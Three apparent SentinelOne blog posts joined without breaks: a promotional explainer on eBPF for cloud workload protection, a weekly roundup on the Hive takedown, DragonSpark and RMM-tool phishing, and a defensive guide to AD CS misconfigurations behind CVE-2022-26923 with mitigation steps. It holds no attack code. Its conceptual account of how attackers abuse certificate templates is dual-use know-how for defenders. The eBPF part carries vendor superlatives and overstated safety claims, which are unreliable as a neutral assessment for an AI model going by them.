Extended Berkeley Packet Filter (eBPF) is a framework for loading and running user-defined programs within the Linux OS kernel, to observe, change, and respond to kernel behavior without the destabilizing impact of kernel modules. eBPF provides kernel-level visibility directly from user space. This combination of visibility and stability makes the eBPF framework particularly attractive for security applications.

In this blog post, we describe how eBPF works, its significance to cloud workload protection platforms (CWPP) for machine-speed detection of OS-level runtime threats, and the benefits of such an architectural approach, namely stability, scalability, and performance. We will then summarize how SentinelOne has over the last 3 years, in close cooperation with leaders across a wide variety of verticals, crafted the most high-performing, resource-efficient, and DevOps-friendly CWPP solution on the market.

eBPF Architectural Overview

eBPF programs allow us to observe and respond to application (workload) behavior within the kernel without modifying the application code itself. This is useful for many applications, especially security applications such as cloud workload protection.

Consider the following diagram in Figure 1, modified for simplicity from the original found at ebpf.io.

Here, we have an application (for example, a CWPP agent) running in user space and which includes an eBPF program for process-level visibility within the Linux kernel. The eBPF program itself is in bytecode, though developers usually use a higher level programming language whose compiler supports eBPF bytecode. This eBPF program is loaded into the Linux kernel, where the program is immediately verified by the eBPF Verification Engine. Then, the program is compiled and attached to a targeted-by-design kernel event; this is what is meant when one says that eBPF programs are “event-driven.” Whenever this event occurs, the program is attached to this event, runs its observation and analysis tasks to completion, and presents results back to the application.

The mechanism by which information is transferred between the eBPF program and the user space application/workload is called “eBPF Maps” or simply “maps”. Now that we have a high-level overview, let’s dig in a little deeper for more complete understanding.

eBPF Safety

The eBPF Verification Engine and Just-in-Time Compiler are the means by which the eBPF framework ensures that, first and foremost, the eBPF program to be loaded and run within the kernel does not destabilize the kernel. This is Rule No. 1: Do No Harm.

Kernel Modules: The Inferior Alternative

Consider the alternative to eBPF: writing kernel modules. Kernel modules raise concerns about operational stability and complexity. While writing a kernel module does indeed allow a developer to change kernel behavior, it is a highly specialized skill, which therefore makes staffing and retention an issue.  More pointedly, using kernel modules raises the specter of two critical risk questions: (1) will my kernel module crash the machine?, and (2) will it introduce a security vulnerability?

In addition to stability and security concerns, there is the matter of operational overhead: a kernel module only works for a specific Linux kernel version and distribution. Maintaining the kernel module consumes precious developer cycles and complicates operational management unnecessarily. The eBPF framework addresses each of these pain points, making kernel modules far less desirable.

Before any eBPF program is loaded into the kernel, it passes through the Verification Engine and JIT Compiler. The Verifier ensures that the program is safe to run, will not crash the system, and will not compromise data. It validates that several conditions are met:

1. The process loading the eBPF program has the necessary privileges to do so.
2. The eBPF program does not crash the system.
3. The eBPF program runs to completion. That is, it does not loop indefinitely.

Once verified, the JIT Compiler translates the program from bytecode into machine instructions, optimizing for speed of execution.

Now that the eBPF program is verified and compiled, it is attached to a kernel-level event, such that when the event occurs, the program is triggered, run to completion, and information presented to the user space application. This brings us to eBPF Maps, or simply “maps”.

eBPF Maps

eBPF maps are the mechanism by which information transfers between the eBPF program and the user space application. Bidirectional information flow is supported. A map is a data structure that the eBPF program and user space application can read or write.

For example, the program might be triggered on an event such as gzip of a file. The eBPF program will write some information about that event, such as the file name, filesize, and gzip timestamp, to the map. It might also increment the number of times a gzip operation occurs within a given period of time. If that number exceeds a certain threshold, the eBPF program can write a judgment of “MALICIOUS” to the data structure. Stated simply, the eBPF program observed behavior indicative of a ransomware attack and flagged this behavior as malicious. The user space program – in our example, a cloud workload protection (CWPP) agent – can read that map, see the malicious judgment, and take appropriate action. Basic information processing occurred within the eBPF program, minimizing the amount of information passed to the user space application and thereby optimizing performance.

Advantages of eBPF within CWPP

A cloud workload protection platform agent does what other security controls do not: detect and respond to runtime threats, like ransomware or zero days, in real time. This makes CWPP a vital component of a cloud defense in depth strategy. An organization can, and quite often should, have other cloud security measures in place, such as AppSec, CSPM, and more. Each plays a role in a robust cloud security strategy. A CWPP agent works alongside these other controls, to (1) provide runtime protection and (2) record workload telemetry.

As shown in Figure 2, a ransomware attack on a cloud compute instance (VM) can lock-up a cloud workload in milliseconds. Note that the CWPP agent in this 1-minute video detected and stopped the ransomware attack mere moments (less than a second) after it was launched.

Try getting this real-time response from a side-scanning solution. You cannot. Side-scanning is typically run only once a day, because taking snapshots of a cloud compute instances’ storage volumes for inspection is cost-prohibitive. Moreover, a side-scan architecture lacks process-level visibility within the kernel. These are the forensic details which the SOC needs to investigate and appropriately tag and route the incident to the appropriate DevOps owner. Only a behavioral, real-time CWPP agent using the eBPF framework provides the combination of real-time process-level visibility and stability, making it the preferred choice.

Increasingly, cybersecurity insurance underwriters require CWPP before they will even quote a policy. Machine-speed threats such as ransomware demand an ability to respond faster, and with higher accuracy, than human-powered technology alone. Additionally, a historical record of workload telemetry not only facilitates investigation in the event of a security incident, but also makes proactive threat hunting possible. In this way, threat actors can be stopped before they even launch an attack.

The application of the eBPF framework within a CWPP program offers several advantages, including but not limited to:

• Operational stability
• System performance
• Business agility

Operational Stability

While a kernel module can provide the kernel visibility which a CWPP application requires, running code in the kernel can be dangerous. A false move can destabilize the system (ie, kernel panic), or introduce a security vulnerability into the kernel. Neither of these outcomes are in any way acceptable, especially where a CWPP agent is concerned. A CWPP agent that uses kernel modules can cause kernel panics that crash the VM and brick your workload. These unplanned outages threaten financial performance, order fulfillment, customer loyalty, and create costly, disruptive fire drills.

In stark contrast to a kernel module, the eBPF framework includes safety controls such as the Verification Engine, JIT Compiler, and more. As a result, eBPF programs will not crash the kernel. Neither can they reach into arbitrary memory space within the kernel, making them much less prone to security vulnerabilities. eBPF programs provide all the kernel-level visibility with none of the risk from kernel modules: no tainted kernels or panics. For these reasons, eBPF is the preferred choice for CWPP from an operational stability perspective.

System Performance / Resource Efficiency

Transferring information from within the kernel to user space is slow and introduces performance overhead (CPU, memory). In contrast, the eBPF framework enables us to observe kernel behavior and perform analysis within the kernel before transferring a subset of results back to user space. This creates a fundamental performance advantage for CWPP agents operating in user space and which use eBPF programs. eBPF provides high observability with lower overhead relative CWPP agents with kernel modules.

Business Agility

Developers should be focused on innovation, not on juggling the kernel dependency hassles which kernel modules introduce. By operating from user space, DevOps have more flexibility to update the host OS image with less concern of that update conflicting with their CWPP agent. eBPF makes this possible. As a result, more DevOps can be devoted to innovation, and less (much less) to maintenance concerns.

Moreover, because the CWPP agent itself uses the eBPF framework and avoids kernel modules, the vendor too is more focused on innovation. And of course the customer reaps the benefits of this virtuous cycle of agile velocity.

Singularity Cloud Workload Security

Working with Customers

At SentinelOne, we work closely with our customers, innovating and advancing existing solutions, even as we accelerate execution of our product vision. Dating back to 2019, a customer urged us to re-architect our Linux CWPP agent to use eBPF. The easy answer would have been to politely decline, but we are both intellectually curious and fanatical about customer success. Once we understood the benefits which eBPF would bring to our customers, we got to work. The result? SentinelOne customers around the world have the advantage of a CWPP continuously refined over 3 years, and which has delivered some exceptional performance.

High Performance

Independent test results prove this out. In April 2021, MITRE Engenuity published its MITRE ATT&CK benchmark results for Carbanak & FIN7, an evaluation focused on emulating financial threat groups. For the first time, MITRE ATT&CK included Linux servers in its testing. SentinelOne was the only vendor with 100% visibility across Windows devices and Linux servers (Figure 3). We had the most enriched detections (“Analytic Detections,” in MITRE’s vernacular), as shown in Figure 4. Far from “noisy,” our patented Storyline technology auto-correlates related detections to maximize signal-to-noise ratio (SNR) and streamline investigation and response.

CWPP must be real-time if it is to defend cloud workloads from runtime attack and ensure business continuity. Machine-speed attacks spread evil at machine speed. Delayed detections give the adversary the time needed – literally, only a matter of seconds – to bring a cloud workload to a grinding halt. And if not ransomware, then it’s malware quietly spreading throughout your cloud footprint. In broad brushstrokes, the wider the spread, the larger the remediation effort. Delays cost. SentinelOne delivered 100% real-time detection, with zero delays, again, as defined by MITRE. No spin, just a common language to compare apples to apples. The fewer the delays, the better.

Similarly, the 2022 MITRE Engenuity ATT&CK testing showed SentinelOne had exceptionally high performance. The Wizard Spider + Sandworm emulation also included Linux servers. Here again, SentinelOne led from the front with 99% Analytic Coverage, much more than CrowdStrike, Microsoft, or TrendMicro. Head-to-head comparisons are available at the MITRE Engenuity website.

Resource Efficiency

SecOps prefer our CWPP performance and partnership, but we recognize that it is Infrastructure & Operations who carry the costs of operating an agent, even if those costs eventually are transferred internally to the lines of business. Any application, be it a CWPP agent or otherwise, requires compute and memory resources to function, and those resources come at a cost. For deployment within a fixed and sunk cost infrastructure such as a data center, such apps take away resources that would otherwise be available for the primary business workloads; while it’s not an incremental operational expense, there is the opportunity cost of resources. For cloud IaaS however, resources used are metered and paid for on-demand; deploying a CWPP agent may necessarily increase the size of the cloud compute instance (e.g., from a t4g.medium to a t4g.large), and thereby incrementally raise its operational expense. It’s a necessary expense, to be sure, but an incremental expense nonetheless.

Therefore, we obsess about CPU and memory utilization as much as we do about performance. Our eBPF agent architecture refined over the years enables us to deliver exceptional security performance in a very compact footprint. Check out this blog post about advancements made in Linux and K8s Agents v22.3. And in July 2022, we announced support for AWS Graviton3, the most recent AWS ARM processor generation providing further benefits in compute, power, etc.

Additionally, if you are running containerized workloads, a single SentinelOne CWPP K8s agent per K8s worker node protects the host, all its pods, and all their containers. Deployed as a DaemonSet, our agent scales automatically to ensure your business workload is defended even under peak demand.

DevOps Friendly

In addition to working closely with customers as partners and delivering performance leadership, we recognize that organizations went to the cloud to go faster, not slower. Innovate swiftly, operate securely. Singularity Cloud Workload Security solves the agility/security paradox by simplifying deployment, automating scalability with workload demand, and of course, operating entirely in user space.

• Automated deployment fits within standard DevOps provisioning methods, including CloudFormation, Terraform, Helm, and a host of others.
• We support 13 leading Linux distributions and a wide array of versions, all from a single CWPP agent. Say goodbye to 60 pages of user documentation devoted to “this agent version” mapped to “that Linux distribution.” Our eBPF agent abstracts aways that complexity.
• Our agent has no kernel modules, so DevOps don’t have to worry about kernel panics.

Summary

The advantages of the eBPF framework make it the preferred choice for cloud workload protection. Superior system performance translates to lower operational costs than alternatives relying on kernel modules. Operational stability aspects provide for better business continuity.

Refined over 3 years in a global installed base,  Singularity Cloud Workload Security delivers market-leading performance, flexibility, and scalability.  If you are searching for a CWPP product which uses the eBPF framework, is preferred by titans of industry and mid-market commercial alike, and which regularly shines in benchmark testing such as MITRE ATT&CK, we hope you consider SentinelOne. Customer case studies and testimonials can be found both on our webpage and on independent peer review platforms such as Gartner Peer Insights. When you are ready to speak with a cloud security expert, our team would be happy to connect with you. Let us show you why thousands of SentinelOne customers worldwide trust us to protect their business.

The Good

The tables have turned for Hive ransomware group. This week, FBI and international partners shared news of their successful sting operation; a “hack of the hackers” resulting in the seizure of two of the group’s servers and one virtual private server. The FBI also revealed that it was able to burrow deep into the group’s infrastructure and gather intelligence prior to dismantling the operation.

Hive is among the world’s most prolific ransomware networks, which has long beleaguered critical infrastructures such as governments and hospitals. Initially spotted in July 2021 during the height of the COVID-19 pandemic, the syndicate is known for its Ransomware-as-a-Service (RaaS) model. Hive ransomware group has extorted more than $100 million from 1500 organizations across at least 80 countries.

According to the DOJ, the month-long operation came to a head in July of last year when the FBI quietly accessed Hive’s control panel and obtained the software keys shared with the syndicate’s partners used to perform double extortion attacks. While no arrests have been made yet, officials announced that they were building a map of associated administrators, software, and affiliates based on the seized servers. Officials have been helping recent victims regain access to their networks, saving almost 300 organizations over $130 million in what would have been ransom payments.

The dismantling of Hive is one of the first big crackdowns of 2023; a concerted effort across various law enforcement groups in the effort to slow the ransomware epidemic. While the ransomware economy continues to be a lucrative one for attackers, these sting operations are hitting them where it hurts most – their earnings. Officials are now offering rewards for information linking Hive to foreign governments.

The Bad

Alleged Chinese-speaking threat actors are upping their evasion game through a little-known open source SparkRAT and Golang malware. In an analysis by SentinelLabs this week, a recent cluster of attacks dubbed DragonSpark has been observed employing uncommon tactics to sidestep security layers. DragonSpark attacks have so far victimized organizations in China, Taiwan, Hong Kong, and Singapore.

Initial access involves the compromise of vulnerable, internet-exposed web servers and MySQL servers to drop a ‘China Chopper’ web shell. After gaining that foothold, DragonSpark attacks use lateral movement techniques paired with privilege escalation and malware deployment to root deeper into a victim’s environment.

Once lateral spread is underway, actors use a cross-platform remote access trojan called SparkRAT to conduct a host of malicious activities such as manipulating system files, stealing information, and running additional PowerShell commands. SparkRAT is based in Golang and can run on Windows, macOS, and Linux. Other malicious tools observed in DragonSpark attacks have all been open sourced tools such as SharpToken, BadPotato, and GotoHTTP.

The Golang malware ‘m6699.exe’ executes code from embedded Go scripts in the malware binaries – a technique for hindering static analysis and evading detection. The malware then opens a reverse shell allowing the threat actors to begin remote code execution (RCE).

SentinelLabs analysts hypothesize that multi-platform, feature-rich tools like SparkRAT will continue to appear in future attacks by attackers known to favor open source software in their campaigns.

The Ugly

A new warning from CISA, the NSA, and Multi-State Information Sharing & Analysis Center (MS-ISAC) dropped this week detailing attacks against multiple federal civilian executive branch (FCEB) agencies through the use of legitimate remote monitoring and management (RMM) software.

Malicious activity against many FCEB networks was executed through callback phishing campaigns. Threat actors sent spoofed help desk emails to federal staffers’ personal and government email addresses. Emails were found to contain a link to a first-stage domain and encouraged targeted users to call the attackers who then posed as help desk technicians.

After the ‘technicians’ convinced the caller to visit the domains, malware would be downloaded automatically, connecting the target to a second-stage domain with downloads for AnyDesk and ScreenConnect – popular RMM tools used by remote workers globally – after which the attacker had full access to the victim’s device.

Weaponizing legitimate remote software continues to be attractive to threat actors as an effective means of establishing local user access – all without needing any admin permissions. The joint warning released this week highlights the increased spike in social engineering and phishing attacks combined with the use of legitimate software for access.

This follows on from a recent case in which attackers hosted an online Pokémon-based NFT game, luring fans of the franchise to download remote access trojans (RATs) on the site. Efforts like this are considered ‘quick wins’ for threat actors as they get the access they want without spending time or resources on developing bespoke attacks. CISA’s official warning includes a list of preventative measures organizations can take to avoid social engineering attacks and reduce the risk of RMM software misuse.

Microsoft released a Windows security update in May 2022, disclosing CVE-2022-26923 Active Directory Domain Services Elevation of privilege vulnerability. The CVE-2022-26923 allows a lower privileged user to acquire a certificate from Active Directory Certificate Services (AD CS) and escalate privileges to the domain controller. However, issues with the update may have prevented some organizations from updating at the time, while others may have been unable to update due to local dependency or compatibility reasons.

In this post, we discuss AD CS misconfigurations that allow attackers to exploit this flaw and describe how security teams can mitigate this vulnerability.

What Is CVE-2022-26923?

According to Microsoft’s advisory, CVE-2022-26923 is one of three CVEs relating to an elevation of privilege vulnerability that can occur when the Kerberos Distribution Center (KDC) services a certificate-based authentication request. On unpatched systems, certificate-based authentication fails to account for a dollar sign ($) at the end of a machine name, allowing related certificates to be spoofed in various ways.

What Is AD CS and Why Is It Important?

Before we dig deeper into the exposure, we will revise what Active Directory Certificate Services (AD CS) is and what it offers.

AD CS is an identity technology in Windows Server that offers Public Key Infrastructure (PKI) functionality to facilitate capabilities such as Encrypting File System (EFS), domain authentication, digital signatures, and email security. AD CS is the Server Role that allows an organization to build Public Key Infrastructure (PKI) and provide public key cryptography, digital certificates, and digital signature capabilities.

While organizations plan to implement PKI by deploying AD CS in an Active Directory environment, they must manage configurations properly for issuing and revoking certificates, including ensuring that appropriate certificate trusts are in place.

Windows Server administrators are responsible for designing the certification authority hierarchy, implementing it, and managing the process of issuing and revoking certificates. It is essential to ensure that appropriate certificate trusts are in place. Any misconfigurations in AD CS role services can expose them to cyber attacks such as privilege escalation, Golden Ticket Attacks, and AD Domain dominance.

How Do Attackers Abuse AD CS and Exploit CVE-2022-26923?

Several security risks exist with AD CS misconfigurations. Let us discuss a couple of them. After running the command certsrv.msc, right-click on the Certification Authority (CA) object, select Properties and navigate to the Security tab.

Note that the “Request Certificates” permission is enabled by default. This setting will allow an authenticated user to request certificates from the AD CS server. As with the CVE-2022-26923, an authenticated user could manipulate attributes on computer accounts they own or manage and acquire a certificate from AD CS that would allow elevation of privilege to Domain Controller.

Another vulnerable misconfiguration exists with enrollment permissions of certificate templates. In Windows environments, certificate templates are stored as objects in the Active Directory and used by Microsoft enterprise CAs. A certificate template defines the content and purpose of a digital certificate, including issuing certificate policies and enrollment permissions. Enrollment permissions define the rules by which a certification authority (CA) will issue or deny certificate requests.

A standard User Certificate template may grant the Domain Users group with “Enroll“ permissions, as shown below.

Also, there are Enroll and Autoenroll permissions that are specific to certificate template objects, for example, the Workstation Authentication certificate template, as shown in the next image.

An attacker can abuse these permissions on objects. If an attacker gains access to any template, it can be reconfigured to issue certificates and compromise the entire domain.

Detection and Mitigation Factors for CVE-2022-26923

Singularity Ranger® AD continuously monitors risks associated with misconfigurations, weak policies, credential harvesting, and privilege escalations at the domain, user, and device levels. The solution prevents attacks that attempt to exploit CVE-2022-26923 by detecting and remediating Active Directory Certificate Services exposures. As a mitigation strategy, the following best practices outline how to protect AD CS services from the exploitation of CVE-2022-26923.

Exposure #1: Dangerous Access Rights That Expose Certificate Templates

Misconfigured permissions on certificate templates can allow an attacker to modify or request a certificate, and an attacker could use the certificate to elevate privileges.

To mitigate this:

1. Open the Certificate Authority Manager MMC from “Administrative Tools” or run the command “certsrv.msc”.
2. Expand the Certificate Authority.
3. Right Click “Certificate Templates” and Click “Manage”.
4. Select the Certificate Template listed in the Exposure.
5. Right Click on the Certificate Template and select “Properties”.
6. Select the “Security” tab.
7. Verify and remove the permissions listed in the exposure by Singularity Ranger® AD.
8. Click “Apply” and “Ok”.
9. Repeat the steps from 4 to 8 until all the templates are corrected.
10. Delete the template from the “Certificate Templates” Container and Re-Publish the certificate to Issue.
    1. To publish the Certificate, right-click “Certificate Templates” and Click “New”.
    2. Click “Certificate Template to Issue”.
    3. Select all the required Certificate Templates and Click “Ok”.
11. Re-Run the assessment to check exposure is remediated.

Exposure #2: Dangerous Access Rights Delegation on Critical Objects

Attackers can compromise user accounts with access rights on critical AD objects and take complete AD domain compromise.

To mitigate this:

1. Remove all standard & non-privileged users from the Critical Objects listed in the detection.
2. View the assigned permissions on an Organizational Unit (OU) in the graphical user interface. You can also use the Active Directory Users and Computers console with Advanced Features enabled in the View menu.
3. After enabling, right-click on OU (for example, OU=NewYork) and select Properties.
4. Select the Security tab, then click the “Advanced” button. You can see ACE lists in the Permissions tab (alternate name – “Discretionary Access Control List – DACL”).
5. Select the ACE you want to remove and click “Remove”.

Exposure #3: Regular users can add new computers into AD domain

Attackers can also compromise endpoints and attempt to add new computers to the Active Directory Domain without Administrative access.

To mitigate this:

1. Open Group Policy Management Console ( Start -> Run -> gpmc.msc).
2. Locate Domain Controllers OU and find Default Domain Controllers Policy.
3. Edit Default Domain Controllers Policy.
4. Expand Computer Configuration-> Policies -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment.
5. From the right pane, right-click on Add workstations to domain ->Properties ->Remove Authenticated Users and Add the User or Group that you are delegating domain joining permissions.
6. Click Apply and then OK to close the Properties window.

Other services offered by AD CS such as “Certificate Authority Web Enrollment” and “Certificate Enrollment Web Service” are also potentially vulnerable. Attackers can exploit these settings to perform a classic NTLM Relay Attack called PetitPotam. It allows an attacker to take over Windows domain controllers or other Windows servers.

Patching CVE-2022-26923

As CVE-2022-26923 carries the highest Common Vulnerability Scoring System (CVSSv3) base score of 8.8, it is highly recommended that organizations prioritize the deployment of a patch for CVE-2022-26923 to reduce the possibility of an attacker exploiting this vulnerability.

If certificate-based authentication relies on a weak mapping that cannot be moved from the environment, admins can place domain controllers in Disabled mode using a registry key setting. According to the Microsoft’s documentation, KB5014754—Certificate-based authentication changes on Windows domain controllers, Enablement Phase starts with the February 14, 2023 updates for Windows, which will ignore the Disabled mode registry key setting.

Conclusion

It is of paramount importance that administrators implement all mitigation factors to protect their AD CS servers from such attacks. Organizations deploying Singularity Ranger® AD solutions can remediate the AD CS exposures discussed that will no longer allow attackers to exploit CVE-2022-26923. For more information, please visit Singularity Ranger AD.

Singularity Ranger AD

Singularity Ranger AD is a cloud-delivered solution designed to uncover vulnerabilities in Active Directory and Azure AD.

Get a Demo